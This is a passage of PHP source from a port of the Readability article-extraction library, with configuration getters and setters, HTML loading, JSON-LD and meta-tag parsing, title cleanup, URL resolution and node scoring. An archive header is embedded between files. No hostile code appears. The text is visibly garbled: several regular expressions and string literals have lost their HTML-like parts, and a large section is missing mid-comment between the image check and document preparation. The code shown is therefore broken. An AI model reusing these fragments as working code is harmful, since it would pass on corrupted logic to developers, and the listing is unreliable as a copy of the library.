($this->logger === null) { return new NullLogger(); } return $this->logger; } /** * @param LoggerInterface $logger * * @return Configuration */ public function setLogger(LoggerInterface $logger) { $this->logger = $logger; return $this; } /** * @return int */ public function getMaxTopCandidates() { return $this->maxTopCandidates; } /** * @param int $maxTopCandidates * * @return $this */ public function setMaxTopCandidates($maxTopCandidates) { $this->maxTopCandidates = $maxTopCandidates; return $this; } /** * @return int */ public function getCharThreshold() { return $this->charThreshold; } /** * @param int $charThreshold * * @return $this */ public function setCharThreshold($charThreshold) { $this->charThreshold = $charThreshold; return $this; } /** * @return bool */ public function getArticleByLine() { return $this->articleByLine; } /** * @param bool $articleByLine * * @return $this */ public function setArticleByLine($articleByLine) { $this->articleByLine = $articleByLine; return $this; } /** * @return bool */ public function getStripUnlikelyCandidates() { return $this->stripUnlikelyCandidates; } /** * @param bool $stripUnlikelyCandidates * * @return $this */ public function setStripUnlikelyCandidates($stripUnlikelyCandidates) { $this->stripUnlikelyCandidates = $stripUnlikelyCandidates; return $this; } /** * @return bool */ public function getCleanConditionally() { return $this->cleanConditionally; } /** * @param bool $cleanConditionally * * @return $this */ public function setCleanConditionally($cleanConditionally) { $this->cleanConditionally = $cleanConditionally; return $this; } /** * @return bool */ public function getWeightClasses() { return $this->weightClasses; } /** * @param bool $weightClasses * * @return $this */ public function setWeightClasses($weightClasses) { $this->weightClasses = $weightClasses; return $this; } /** * @return bool */ public function getFixRelativeURLs() { return $this->fixRelativeURLs; } /** * @param bool $fixRelativeURLs * * @return $this */ public function setFixRelativeURLs($fixRelativeURLs) { $this->fixRelativeURLs = $fixRelativeURLs; return $this; } /** * @return bool */ public function getSubstituteEntities() { return $this->substituteEntities; } /** * @param bool $substituteEntities * * @return $this */ public function setSubstituteEntities($substituteEntities) { $this->substituteEntities = $substituteEntities; return $this; } /** * @return bool */ public function getNormalizeEntities() { return $this->normalizeEntities; } /** * @param bool $normalizeEntities * * @return $this */ public function setNormalizeEntities($normalizeEntities) { $this->normalizeEntities = $normalizeEntities; return $this; } /** * @return string */ public function getOriginalURL() { return $this->originalURL; } /** * @param string $originalURL * * @return $this */ public function setOriginalURL($originalURL) { $this->originalURL = $originalURL; return $this; } /** * @return string */ public function getParser() { return $this->parser; } /** * @param string $parser * * @return $this */ public function setParser($parser) { $this->parser = $parser; return $this; } /** * @return bool */ public function getKeepClasses() { return $this->keepClasses; } /** * @param bool $keepClasses * * @return $this */ public function setKeepClasses($keepClasses) { $this->keepClasses = $keepClasses; return $this; } /** * @return bool */ public function getDisableJSONLD() { return $this->disableJSONLD; } /** * @param bool $disableJSONLD * * @return $this */ public function setDisableJSONLD($disableJSONLD) { $this->disableJSONLD = $disableJSONLD; return $this; } /** * @return bool */ public function getSummonCthulhu() { return $this->summonCthulhu; } /** * @param bool $summonCthulhu * * @return $this */ public function setSummonCthulhu($summonCthulhu) { $this->summonCthulhu = $summonCthulhu; return $this; } } res/readability/Readability.php000064400000266761147577714370012640 0ustar00 '<', 'gt' => '>', 'amp' => '&', 'quot' => '"', 'apos' => '\'', ]; /** * Readability constructor. * * @param Configuration $configuration */ public function __construct(Configuration $configuration) { $this->configuration = $configuration; $this->logger = $this->configuration->getLogger(); } /** * Main parse function. * * @param $html * * @throws ParseException * * @return bool */ public function parse($html) { $this->logger->info('*** Starting parse process...'); $this->dom = $this->loadHTML($html); // Checking for minimum HTML to work with. if (!($root = $this->dom->getElementsByTagName('body')->item(0)) || !$root->firstChild) { $this->logger->emergency('No body tag present or body tag empty'); throw new ParseException('Invalid or incomplete HTML.'); } $this->getMetadata(); $this->getMainImage(); while (true) { $this->logger->debug('Starting parse loop'); $root = $root->firstChild; $elementsToScore = $this->getNodes($root); $this->logger->debug(sprintf('Elements to score: \'%s\'', count($elementsToScore))); $result = $this->rateNodes($elementsToScore); /* * Now that we've gone through the full algorithm, check to see if * we got any meaningful content. If we didn't, we may need to re-run * grabArticle with different flags set. This gives us a higher likelihood of * finding the content, and the sieve approach gives us a higher likelihood of * finding the -right- content. */ $length = readability_mb_strlen(preg_replace(NodeUtility::$regexps['onlyWhitespace'], '', $result->textContent)); $this->logger->info(sprintf('[Parsing] Article parsed. Amount of words: %s. Current threshold is: %s', $length, $this->configuration->getCharThreshold())); if ($result && $length < $this->configuration->getCharThreshold()) { $this->dom = $this->loadHTML($html); $root = $this->dom->getElementsByTagName('body')->item(0); if ($this->configuration->getStripUnlikelyCandidates()) { $this->logger->debug('[Parsing] Threshold not met, trying again setting StripUnlikelyCandidates as false'); $this->configuration->setStripUnlikelyCandidates(false); $this->attempts[] = ['articleContent' => $result, 'textLength' => $length]; } elseif ($this->configuration->getWeightClasses()) { $this->logger->debug('[Parsing] Threshold not met, trying again setting WeightClasses as false'); $this->configuration->setWeightClasses(false); $this->attempts[] = ['articleContent' => $result, 'textLength' => $length]; } elseif ($this->configuration->getCleanConditionally()) { $this->logger->debug('[Parsing] Threshold not met, trying again setting CleanConditionally as false'); $this->configuration->setCleanConditionally(false); $this->attempts[] = ['articleContent' => $result, 'textLength' => $length]; } else { $this->logger->debug('[Parsing] Threshold not met, searching across attempts for some content.'); $this->attempts[] = ['articleContent' => $result, 'textLength' => $length]; // No luck after removing flags, just return the longest text we found during the different loops usort($this->attempts, function ($a, $b) { return $b['textLength'] - $a['textLength']; }); // But first check if we actually have something if (!$this->attempts[0]['textLength']) { $this->logger->emergency('[Parsing] Could not parse text, giving up :('); throw new ParseException('Could not parse text.'); } $this->logger->debug('[Parsing] Threshold not met, but found some content in previous attempts.'); $result = $this->attempts[0]['articleContent']; break; } } else { break; } } if (!$result) { $this->logger->info('*** Parse failed :('); return false; } $result = $this->postProcessContent($result); // If we haven't found an excerpt in the article's metadata, use the article's // first paragraph as the excerpt. This can be used for displaying a preview of // the article's content. if (!$this->getExcerpt()) { $this->logger->debug('[Parsing] No excerpt text found on metadata, extracting first p node and using it as excerpt.'); $paragraphs = $result->getElementsByTagName('p'); if ($paragraphs->length > 0) { $this->setExcerpt(trim($paragraphs->item(0)->textContent)); } } $this->setContent($result); $this->logger->info('*** Parse successful :)'); return true; } /** * Creates a DOM Document object and loads the provided HTML on it. * * Used for the first load of Readability and subsequent reloads (when disabling flags and rescanning the text) * Previous versions of Readability used this method one time and cloned the DOM to keep a backup. This caused bugs * because cloning the DOM object keeps a relation between the clone and the original one, doing changes in both * objects and ruining the backup. * * @param string $html * * @return DOMDocument */ private function loadHTML($html) { $this->logger->debug('[Loading] Loading HTML...'); // To avoid throwing a gazillion of errors on malformed HTMLs libxml_use_internal_errors(true); //$html = preg_replace('/(]*>[ \n\r\t]*){2,}/i', '

            ', $html); if ($this->configuration->getParser() === 'html5') { $this->logger->debug('[Loading] Using HTML5 parser...'); $html5 = new HTML5(['disable_html_ns' => true, 'target_document' => new DOMDocument('1.0', 'utf-8')]); $dom = $html5->loadHTML($html); //TODO: Improve this so it looks inside , not just any $base = $dom->getElementsByTagName('base'); if ($base->length > 0) { $base = $base->item(0); $base = $base->getAttribute('href'); if ($base != '') { $this->baseURI = $base; } } } else { $this->logger->debug('[Loading] Using libxml parser...'); $dom = new DOMDocument('1.0', 'utf-8'); if ($this->configuration->getNormalizeEntities() && function_exists('mb_convert_encoding')) { $this->logger->debug('[Loading] Normalized entities via mb_convert_encoding.'); // Replace UTF-8 characters with the HTML Entity equivalent. Useful to fix html with mixed content $html = mb_convert_encoding($html, 'HTML-ENTITIES', 'UTF-8'); } } if (!$this->configuration->getSubstituteEntities()) { // Keep the original HTML entities $dom->substituteEntities = false; } if ($this->configuration->getSummonCthulhu()) { $this->logger->debug('[Loading] Removed script tags via regex H̶͈̩̟̬̱͠E̡̨̬͔̳̜͢͠ ̡̧̯͉̩͙̩̹̞̠͎͈̹̥̠͞ͅͅC̶͉̞̘̖͢͢͞Ì̗͓̬̯Í͉̤̬Ò̟̘͉͖͎͉̱̭̣̕M̴̯͈̻̱̱̣̗͈̠̙̲̥͘͞E̷̛͙̼̲͢Í͕̹Í͇̗̻̬̮̭̱̥Ş̛̟͔̙̜̤͇̮̀͘ÍÌ™Ì'); $html = preg_replace('/]*>([\s\S]*?)<\/script>/', '', $html); } // Prepend the XML tag to avoid having issues with special characters. Should be harmless. if ($this->configuration->getParser() !== 'html5') { $dom->loadHTML('' . $html); $this->baseURI = $dom->baseURI; } $dom->encoding = 'UTF-8'; // Unwrap image from noscript $this->unwrapNoscriptImages($dom); // Extract JSON-LD metadata before removing scripts $this->jsonld = $this->configuration->getDisableJSONLD() ? [] : $this->getJSONLD($dom); $this->removeScripts($dom); $this->prepDocument($dom); $this->logger->debug('[Loading] Loaded HTML successfully.'); return $dom; } /** * Try to extract metadata from JSON-LD object. * For now, only Schema.org objects of type Article or its subtypes are supported. * * @param DOMDocument $dom * @return Object with any metadata that could be extracted (possibly none) */ private function getJSONLD(DOMDocument $dom) { $scripts = $this->_getAllNodesWithTag($dom, ['script']); $jsonLdElement = $this->findNode($scripts, function ($el) { return $el->getAttribute('type') === 'application/ld+json'; }); if ($jsonLdElement) { try { // Strip CDATA markers if present $content = preg_replace('/^\s*\s*$/', '', $jsonLdElement->textContent); $parsed = json_decode($content, true); $metadata = []; if ( !isset($parsed['@context']) || !is_string($parsed['@context']) || !preg_match('/^https?\:\/\/schema\.org$/', $parsed['@context']) ) { return $metadata; } if (!isset($parsed['@type']) && isset($parsed['@graph']) && is_array($parsed['@graph'])) { $_found = null; foreach ($parsed['@graph'] as $it) { if (isset($it['@type']) && is_string($it['@type']) && preg_match(NodeUtility::$regexps['jsonLdArticleTypes'], $it['@type'])) { $_found = $it; } } $parsed = $_found; } if ( !$parsed || !isset($parsed['@type']) || !is_string($parsed['@type']) || !preg_match(NodeUtility::$regexps['jsonLdArticleTypes'], $parsed['@type']) ) { return $metadata; } if (isset($parsed['name']) && is_string($parsed['name'])) { $metadata['title'] = trim($parsed['name']); } elseif (isset($parsed['headline']) && is_string($parsed['headline'])) { $metadata['title'] = trim($parsed['headline']); } if (isset($parsed['author'])) { if (isset($parsed['author']['name']) && is_string($parsed['author']['name'])) { $metadata['byline'] = trim($parsed['author']['name']); } elseif ( is_array($parsed['author']) && isset($parsed['author'][0]) && is_array($parsed['author'][0]) && isset($parsed['author'][0]['name']) && is_string($parsed['author'][0]['name']) ) { $metadata['byline'] = array_filter($parsed['author'], function ($author) { return is_array($author) && isset($author['name']) && is_string($author['name']); }); $metadata['byline'] = array_map(function ($author) { return trim($author['name']); }, $metadata['byline']); $metadata['byline'] = implode(', ', $metadata['byline']); } } if (isset($parsed['description']) && is_string($parsed['description'])) { $metadata['excerpt'] = trim($parsed['description']); } if ( isset($parsed['publisher']) && is_array($parsed['publisher']) && isset($parsed['publisher']['name']) && is_string($parsed['publisher']['name']) ) { $metadata['siteName'] = trim($parsed['publisher']['name']); } return $metadata; } catch (\Exception $err) { // The try-catch blocks are from the JS version. Not sure if there's anything // here in the PHP version that would trigger an error or exception, so perhaps we can // remove the try-catch blocks here (or at least translate errors to exceptions for this bit) $this->logger->debug('[JSON-LD] Error parsing: ' . $err->getMessage()); } } return []; } /** * Tries to guess relevant info from metadata of the html. Sets the results in the Readability properties. */ private function getMetadata() { $this->logger->debug('[Metadata] Retrieving metadata...'); $values = []; // property is a space-separated list of values $propertyPattern = '/\s*(dc|dcterm|og|twitter)\s*:\s*(author|creator|description|title|image|site_name)(?!:)\s*/i'; // name is a single value $namePattern = '/^\s*(?:(dc|dcterm|og|twitter|weibo:(article|webpage))\s*[\.:]\s*)?(author|creator|description|title|image|site_name)(?!:)\s*$/i'; // Find description tags. foreach ($this->dom->getElementsByTagName('meta') as $meta) { /* @var DOMNode $meta */ $elementName = $meta->getAttribute('name'); $elementProperty = $meta->getAttribute('property'); $content = $meta->getAttribute('content'); $matches = null; $name = null; if ($elementProperty) { if (preg_match($propertyPattern, $elementProperty, $matches)) { $name = preg_replace('/\s/', '', readability_mb_strtolower($matches[0])); // multiple authors $values[$name] = trim($content); } } if (!$matches && $elementName && preg_match($namePattern, $elementName)) { $name = $elementName; if ($content) { // Convert to lowercase, remove any whitespace, and convert dots // to colons so we can match below. $name = preg_replace(['/\s/', '/\./'], ['', ':'], readability_mb_strtolower($name)); $values[$name] = trim($content); } } } // get title /* * This is a very convoluted way of extracting the first matching key of the $values array * against a set of options. * * This could be easily replaced with an ugly set of isset($values['key']) or a bunch of ??s. * Will probably replace it with ??s after dropping support of PHP5.6 */ $key = current(array_intersect([ 'dc:title', 'dcterm:title', 'og:title', 'weibo:article:title', 'weibo:webpage:title', 'title', 'twitter:title' ], array_keys($values))); if (isset($this->jsonld['title'])) { $this->setTitle($this->jsonld['title']); } else { $this->setTitle(isset($values[$key]) ? trim($values[$key]) : null); } if (!$this->getTitle()) { $this->setTitle($this->getArticleTitle()); } // get author $key = current(array_intersect([ 'dc:creator', 'dcterm:creator', 'author' ], array_keys($values))); if (isset($this->jsonld['byline'])) { $this->setAuthor($this->jsonld['byline']); } else { $this->setAuthor(isset($values[$key]) ? $values[$key] : null); } // get description $key = current(array_intersect([ 'dc:description', 'dcterm:description', 'og:description', 'weibo:article:description', 'weibo:webpage:description', 'description', 'twitter:description' ], array_keys($values))); if (isset($this->jsonld['excerpt'])) { $this->setExcerpt($this->jsonld['excerpt']); } else { $this->setExcerpt(isset($values[$key]) ? $values[$key] : null); } // get main image $key = current(array_intersect([ 'image', 'og:image', 'twitter:image' ], array_keys($values))); $this->setImage(isset($values[$key]) ? $values[$key] : null); $key = current(array_intersect([ 'og:site_name' ], array_keys($values))); if (isset($this->jsonld['siteName'])) { $this->setSiteName($this->jsonld['siteName']); } else { $this->setSiteName(isset($values[$key]) ? $values[$key] : null); } // in many sites the meta value is escaped with HTML entities, // so here we need to unescape it $this->setTitle($this->unescapeHtmlEntities($this->getTitle())); $this->setAuthor($this->unescapeHtmlEntities($this->getAuthor())); $this->setExcerpt($this->unescapeHtmlEntities($this->getExcerpt())); $this->setSiteName($this->unescapeHtmlEntities($this->getSiteName())); } /** * Returns all the images of the parsed article. * * @return array */ public function getImages() { $result = []; if ($this->getImage()) { $result[] = $this->getImage(); } if (null == $this->getDOMDocument()) { return $result; } foreach ($this->getDOMDocument()->getElementsByTagName('img') as $img) { if ($src = $img->getAttribute('src')) { $result[] = $src; } } if ($this->configuration->getFixRelativeURLs()) { foreach ($result as &$imgSrc) { $imgSrc = $this->toAbsoluteURI($imgSrc); } } $result = array_unique(array_filter($result)); return $result; } /** * Tries to get the main article image. Will only update the metadata if the getMetadata function couldn't * find a correct image. */ public function getMainImage() { $imgUrl = false; if ($this->getImage() !== null) { $imgUrl = $this->getImage(); } if (!$imgUrl) { foreach ($this->dom->getElementsByTagName('link') as $link) { /** @var \DOMElement $link */ /* * Check for the rel attribute, then check if the rel attribute is either img_src or image_src, and * finally check for the existence of the href attribute, which should hold the image url. */ if ($link->hasAttribute('rel') && ($link->getAttribute('rel') === 'img_src' || $link->getAttribute('rel') === 'image_src') && $link->hasAttribute('href')) { $imgUrl = $link->getAttribute('href'); break; } } } if (!empty($imgUrl) && $this->configuration->getFixRelativeURLs()) { $this->setImage($this->toAbsoluteURI($imgUrl)); } } /** * Remove unnecessary nested elements * * @param DOMDocument $article * * @return void */ private function simplifyNestedElements(DOMDocument $article) { $node = $article; while ($node) { if ($node->parentNode && in_array($node->nodeName, ['div', 'section']) && !($node->hasAttribute('id') && strpos($node->getAttribute('id'), 'readability') === 0)) { if ($node->isElementWithoutContent()) { $node = NodeUtility::removeAndGetNext($node); continue; } elseif ($node->hasSingleTagInsideElement('div') || $node->hasSingleTagInsideElement('section')) { $child = $node->children()->item(0); for ($i = 0; $i < $node->attributes->length; $i++) { $child->setAttribute($node->attributes->item($i)->name, $node->attributes->item($i)->value); } $node->parentNode->replaceChild($child, $node); $node = $child; continue; } } $node = NodeUtility::getNextNode($node); } } /** * Returns the title of the html. Prioritizes the title from the metadata against the title tag. * * @return string|null */ private function getArticleTitle() { $originalTitle = null; if ($this->getTitle()) { $originalTitle = $this->getTitle(); } else { $this->logger->debug('[Metadata] Could not find title in metadata, searching for the title tag...'); $titleTag = $this->dom->getElementsByTagName('title'); if ($titleTag->length > 0) { $this->logger->info(sprintf('[Metadata] Using title tag as article title: \'%s\'', $titleTag->item(0)->nodeValue)); $originalTitle = $titleTag->item(0)->nodeValue; } } if ($originalTitle === null) { return null; } $curTitle = $originalTitle = trim($originalTitle); $titleHadHierarchicalSeparators = false; /* * If there's a separator in the title, first remove the final part * * Sanity warning: if you eval this match in PHPStorm's "Evaluate expression" box, it will return false * I can assure you it works properly if you let the code run. */ if (preg_match('/ [\|\-\\\\\/>»] /i', $curTitle)) { $titleHadHierarchicalSeparators = (bool) preg_match('/ [\\\\\/>»] /', $curTitle); $curTitle = preg_replace('/(.*)[\|\-\\\\\/>»] .*/i', '$1', $originalTitle); $this->logger->info(sprintf('[Metadata] Found hierarchical separators in title, new title is: \'%s\'', $curTitle)); // If the resulting title is too short (3 words or fewer), remove // the first part instead: if (count(preg_split('/\s+/', $curTitle)) < 3) { $curTitle = preg_replace('/[^\|\-\\\\\/>»]*[\|\-\\\\\/>»](.*)/i', '$1', $originalTitle); $this->logger->info(sprintf('[Metadata] Title too short, using the first part of the title instead: \'%s\'', $curTitle)); } } elseif (strpos($curTitle, ': ') !== false) { // Check if we have an heading containing this exact string, so we // could assume it's the full title. $match = false; for ($i = 1; $i <= 2; $i++) { foreach ($this->dom->getElementsByTagName('h' . $i) as $hTag) { // Trim texts to avoid having false negatives when the title is surrounded by spaces or tabs if (trim($hTag->nodeValue) === trim($curTitle)) { $match = true; } } } // If we don't, let's extract the title out of the original title string. if (!$match) { $curTitle = substr($originalTitle, strrpos($originalTitle, ':') + 1); $this->logger->info(sprintf('[Metadata] Title has a colon in the middle, new title is: \'%s\'', $curTitle)); // If the title is now too short, try the first colon instead: if (count(preg_split('/\s+/', $curTitle)) < 3) { $curTitle = substr($originalTitle, strpos($originalTitle, ':') + 1); $this->logger->info(sprintf('[Metadata] Title too short, using the first part of the title instead: \'%s\'', $curTitle)); } elseif (count(preg_split('/\s+/', substr($curTitle, 0, strpos($curTitle, ':')))) > 5) { // But if we have too many words before the colon there's something weird // with the titles and the H tags so let's just use the original title instead $curTitle = $originalTitle; } } } elseif (readability_mb_strlen($curTitle) > 150 || readability_mb_strlen($curTitle) < 15) { $hOnes = $this->dom->getElementsByTagName('h1'); if ($hOnes->length === 1) { $curTitle = $hOnes->item(0)->nodeValue; $this->logger->info(sprintf('[Metadata] Using title from an H1 node: \'%s\'', $curTitle)); } } $curTitle = preg_replace(NodeUtility::$regexps['normalize'], ' ', trim($curTitle)); /* * If we now have 4 words or fewer as our title, and either no * 'hierarchical' separators (\, /, > or ») were found in the original * title or we decreased the number of words by more than 1 word, use * the original title. */ $curTitleWordCount = count(preg_split('/\s+/', $curTitle)); $originalTitleWordCount = count(preg_split('/\s+/', preg_replace('/[\|\-\\\\\/>»]+/', '', $originalTitle))) - 1; if ($curTitleWordCount <= 4 && (!$titleHadHierarchicalSeparators || $curTitleWordCount !== $originalTitleWordCount)) { $curTitle = $originalTitle; $this->logger->info(sprintf('Using title from an H1 node: \'%s\'', $curTitle)); } return $curTitle; } /** * Convert URI to an absolute URI. * * @param $uri string URI to convert * * @return string */ private function toAbsoluteURI($uri) { list($pathBase, $scheme, $prePath) = $this->getPathInfo($this->configuration->getOriginalURL()); $uri = trim($uri); // If this is already an absolute URI, return it. if (preg_match('/^[a-zA-Z][a-zA-Z0-9\+\-\.]*:/', $uri)) { return $uri; } // Scheme-rooted relative URI. if (substr($uri, 0, 2) === '//') { return $scheme . '://' . substr($uri, 2); } // Prepath-rooted relative URI. if (substr($uri, 0, 1) === '/') { return $prePath . $uri; } // Ignore hash URIs: if (substr($uri, 0, 1) === '#') { return $uri; } // Dotslash relative URI. //if (strpos($uri, './') === 0) { // return $pathBase . substr($uri, 2); //} $baseUri = Http::createFromString($pathBase); $relativeUri = Http::createFromString($uri); return (string)UriResolver::resolve($relativeUri, $baseUri); // Standard relative URI; add entire path. pathBase already includes a // trailing "/". //return $pathBase . $uri; } /** * Returns full path info of an URL. * * @param string $url * * @return array [$pathBase, $scheme, $prePath] */ public function getPathInfo($url) { // Check for base URLs if ($this->baseURI !== null) { if (substr($this->baseURI, 0, 1) === '/') { // URLs starting with '/' override completely the URL defined in the link $pathBase = parse_url($url, PHP_URL_SCHEME) . '://' . parse_url($url, PHP_URL_HOST) . $this->baseURI; } else { // Otherwise just prepend the base to the actual path $pathBase = parse_url($url, PHP_URL_SCHEME) . '://' . parse_url($url, PHP_URL_HOST) . dirname(parse_url($url, PHP_URL_PATH)) . '/'.rtrim($this->baseURI, '/') . '/'; } } else { $pathBase = parse_url($url, PHP_URL_SCHEME) . '://' . parse_url($url, PHP_URL_HOST) . dirname(parse_url($url, PHP_URL_PATH)) . '/'; } $scheme = parse_url($pathBase, PHP_URL_SCHEME); $prePath = $scheme . '://' . parse_url($pathBase, PHP_URL_HOST); return [$pathBase, $scheme, $prePath]; } /** * Gets nodes from the root element. * * @param $node DOMNode|DOMText * * @return array */ private function getNodes($node) { $this->logger->info('[Get Nodes] Retrieving nodes...'); $stripUnlikelyCandidates = $this->configuration->getStripUnlikelyCandidates(); $elementsToScore = []; $shouldRemoveTitleHeader = true; /* * First, node prepping. Trash nodes that look cruddy (like ones with the * class name "comment", etc), and turn divs into P tags where they have been * used inappropriately (as in, where they contain no other block level elements.) */ while ($node) { // Remove DOMComments nodes as we don't need them and mess up children counting if ($node->nodeType === XML_COMMENT_NODE) { $this->logger->debug(sprintf('[Get Nodes] Found comment node, removing... Node content was: \'%s\'', substr($node->nodeValue, 0, 128))); $node = NodeUtility::removeAndGetNext($node); continue; } $matchString = $node->getAttribute('class') . ' ' . $node->getAttribute('id'); if (!$node->isProbablyVisible()) { $this->logger->debug(sprintf('[Get Nodes] Removing hidden node... Match string was: \'%s\'', $matchString)); $node = NodeUtility::removeAndGetNext($node); continue; } // Check to see if this node is a byline, and remove it if it is. if ($this->checkByline($node, $matchString)) { $this->logger->debug(sprintf('[Get Nodes] Found byline, removing... Node content was: \'%s\'', substr($node->nodeValue, 0, 128))); $node = NodeUtility::removeAndGetNext($node); continue; } if ($shouldRemoveTitleHeader && $this->headerDuplicatesTitle($node)) { $this->logger->debug(sprintf('Removing header: %s', $node->getTextContent())); $shouldRemoveTitleHeader = false; $node = NodeUtility::removeAndGetNext($node); continue; } // Remove unlikely candidates if ($stripUnlikelyCandidates) { if ( preg_match(NodeUtility::$regexps['unlikelyCandidates'], $matchString) && !preg_match(NodeUtility::$regexps['okMaybeItsACandidate'], $matchString) && !$node->hasAncestorTag( 'table') && !$node->hasAncestorTag( 'code') && $node->nodeName !== 'body' && $node->nodeName !== 'a' ) { $this->logger->debug(sprintf('[Get Nodes] Removing unlikely candidate. Node content was: \'%s\'', substr($node->nodeValue, 0, 128))); $node = NodeUtility::removeAndGetNext($node); continue; } } if (in_array($node->getAttribute('role'), $this->unlikelyRoles)) { $this->logger->debug(sprintf('Removing content with role %s - %s', $node->getAttribute('role'), $matchString)); $node = NodeUtility::removeAndGetNext($node); continue; } // Remove DIV, SECTION, and HEADER nodes without any content(e.g. text, image, video, or iframe). if (($node->nodeName === 'div' || $node->nodeName === 'section' || $node->nodeName === 'header' || $node->nodeName === 'h1' || $node->nodeName === 'h2' || $node->nodeName === 'h3' || $node->nodeName === 'h4' || $node->nodeName === 'h5' || $node->nodeName === 'h6' || $node->nodeName === 'p') && $node->isElementWithoutContent()) { $this->logger->debug(sprintf('[Get Nodes] Removing empty \'%s\' node.', $node->nodeName)); $node = NodeUtility::removeAndGetNext($node); continue; } if (in_array(strtolower($node->nodeName), $this->defaultTagsToScore)) { $this->logger->debug(sprintf('[Get Nodes] Adding node to score list, node content is: \'%s\'', substr($node->nodeValue, 0, 128))); $elementsToScore[] = $node; } // Turn all divs that don't have children block level elements into p's if ($node->nodeName === 'div') { // Put phrasing content into paragraphs. $p = null; $childNode = $node->firstChild; while ($childNode) { $nextSibling = $childNode->nextSibling; if ($childNode->isPhrasingContent()) { if ($p !== null) { $p->appendChild($childNode); } elseif (!$childNode->isWhitespace()) { $p = $this->dom->createElement('p'); $node->replaceChild($p, $childNode); $p->appendChild($childNode); } } elseif ($p !== null) { while ($p->lastChild && $p->lastChild->isWhitespace()) { $p->removeChild($p->lastChild); } $p = null; } $childNode = $nextSibling; } /* * Sites like http://mobile.slate.com encloses each paragraph with a DIV * element. DIVs with only a P element inside and no text content can be * safely converted into plain P elements to avoid confusing the scoring * algorithm with DIVs with are, in practice, paragraphs. */ if ($node->hasSingleTagInsideElement('p') && $node->getLinkDensity() < 0.25) { $this->logger->debug(sprintf('[Get Nodes] Found DIV with a single P node, removing DIV. Node content is: \'%s\'', substr($node->nodeValue, 0, 128))); $pNode = NodeUtility::filterTextNodes($node->childNodes)->item(0); $node->parentNode->replaceChild($pNode, $node); $node = $pNode; $elementsToScore[] = $node; } elseif (!$node->hasSingleChildBlockElement()) { $this->logger->debug(sprintf('[Get Nodes] Found DIV with a single child block element, converting to a P node. Node content is: \'%s\'', substr($node->nodeValue, 0, 128))); $node = NodeUtility::setNodeTag($node, 'p'); $elementsToScore[] = $node; } } $node = NodeUtility::getNextNode($node); } return $elementsToScore; } /** * compares second text to first one * 1 = same text, 0 = completely different text * works the way that it splits both texts into words and then finds words that are unique in second text * the result is given by the lower length of unique parts * * @param string $textA * @param string $textB * * @return int 1 = same text, 0 = completely different text */ private function textSimilarity(string $textA, string $textB) { $tokensA = array_filter(preg_split(NodeUtility::$regexps['tokenize'], readability_mb_strtolower($textA))); $tokensB = array_filter(preg_split(NodeUtility::$regexps['tokenize'], readability_mb_strtolower($textB))); if (!count($tokensA) || !count($tokensB)) { return 0; } $uniqTokensB = array_filter($tokensB, function ($token) use (&$tokensA) { return !in_array($token, $tokensA); }); $slen = readability_mb_strlen(implode(' ', $tokensB)); if($slen == 0) { return 0; } $distanceB = readability_mb_strlen(implode(' ', $uniqTokensB)) / $slen; return 1 - $distanceB; } /** * Checks if the node is a byline. * * @param DOMNode $node * @param string $matchString * * @return bool */ private function checkByline($node, $matchString) { if (!$this->configuration->getArticleByLine()) { return false; } /* * Check if the byline is already set */ if ($this->getAuthor()) { return false; } $rel = $node->getAttribute('rel'); $itemprop = $node->getAttribute("itemprop"); if ($rel === 'author' || ($itemprop && strpos($itemprop, 'author') !== false) || preg_match(NodeUtility::$regexps['byline'], $matchString) && $this->isValidByline($node->getTextContent(false))) { $this->logger->info(sprintf('[Metadata] Found article author: \'%s\'', $node->getTextContent(false))); $this->setAuthor(trim($node->getTextContent(false))); return true; } return false; } /** * Checks the validity of a byLine. Based on string length. * * @param string $text * * @return bool */ private function isValidByline($text) { if (gettype($text) == 'string') { $byline = trim($text); return (readability_mb_strlen($byline) > 0) && (readability_mb_strlen($byline) < 100); } return false; } /** * Converts some of the common HTML entities in string to their corresponding characters. * * @param string $str - a string to unescape. * @return string without HTML entity. */ private function unescapeHtmlEntities($str) { if (!$str) { return $str; } $htmlEscapeMap = $this->htmlEscapeMap; $str = preg_replace_callback('/&(quot|amp|apos|lt|gt);/', function ($tag) use ($htmlEscapeMap) { return $htmlEscapeMap[$tag[1]]; }, $str); $str = preg_replace_callback('/&#(?:x([0-9a-z]{1,4})|([0-9]{1,4}));/i', function ($matches) { $hex = $matches[1]; $numStr = $matches[2]; if ($hex !== '') { $num = intval($hex, 16); } else { $num = intval($numStr, 10); } return readability_mb_chr($num); }, $str); return $str; } /** * Check if node is image, or if node contains exactly only one image * whether as a direct child or as its descendants. * * @param DOMElement $node */ private function isSingleImage(DOMElement $node) { if ($node->tagName === 'img') { return true; } if ($node->children()->length !== 1 || trim($node->textContent) !== '') { return false; } return $this->isSingleImage($node->children()->item(0)); } /** * Find all

            block. */ $replaced = false; /* * If we find a
            chain, remove the
            s until we hit another element * or non-whitespace. This leaves behind the first
            in the chain * (which will be replaced with a

            later). */ while (($next = NodeUtility::nextNode($next)) && ($next->nodeName === 'br')) { $this->logger->debug('[PrepDocument] Removing chain of BR nodes...'); $replaced = true; $brSibling = $next->nextSibling; $next->parentNode->removeChild($next); $next = $brSibling; } /* * If we removed a
            chain, replace the remaining
            with a

            . Add * all sibling nodes as children of the

            until we hit another
            * chain. */ if ($replaced) { $p = $dom->createElement('p'); $br->parentNode->replaceChild($p, $br); $next = $p->nextSibling; while ($next) { // If we've hit another

            , we're done adding children to this

            . if ($next->nodeName === 'br') { $nextElem = NodeUtility::nextNode($next->nextSibling); if ($nextElem && $nextElem->nodeName === 'br') { break; } } if (!$next->isPhrasingContent()) { break; } $this->logger->debug('[PrepDocument] Replacing BR with a P node...'); // Otherwise, make this node a child of the new

            . $sibling = $next->nextSibling; $p->appendChild($next); $next = $sibling; } while ($p && $p->lastChild && $p->lastChild->isWhitespace()) { $p->removeChild($p->lastChild); } while ($p && $p->firstChild && $p->firstChild->isWhitespace()) { $p->removeChild($p->firstChild); } if ($p->parentNode->tagName === 'p') { NodeUtility::setNodeTag($p->parentNode, 'div'); } } } // Replace font tags with span $fonts = $this->_getAllNodesWithTag($dom, ['font']); $length = count($fonts); for ($i = 0; $i < $length; $i++) { $this->logger->debug('[PrepDocument] Converting font tag into a span tag.'); $font = $fonts[$length - 1 - $i]; NodeUtility::setNodeTag($font, 'span'); } } /** * Assign scores to each node. Returns full article parsed or false on error. * * @param array $nodes * * @return DOMDocument|bool */ private function rateNodes($nodes) { $this->logger->info('[Rating] Rating nodes...'); $candidates = []; /** @var DOMElement $node */ foreach ($nodes as $node) { if (is_null($node->parentNode)) { continue; } // Discard nodes with less than 25 characters, without blank space if (readability_mb_strlen($node->getTextContent(true)) < 25) { continue; } $ancestors = $node->getNodeAncestors(5); 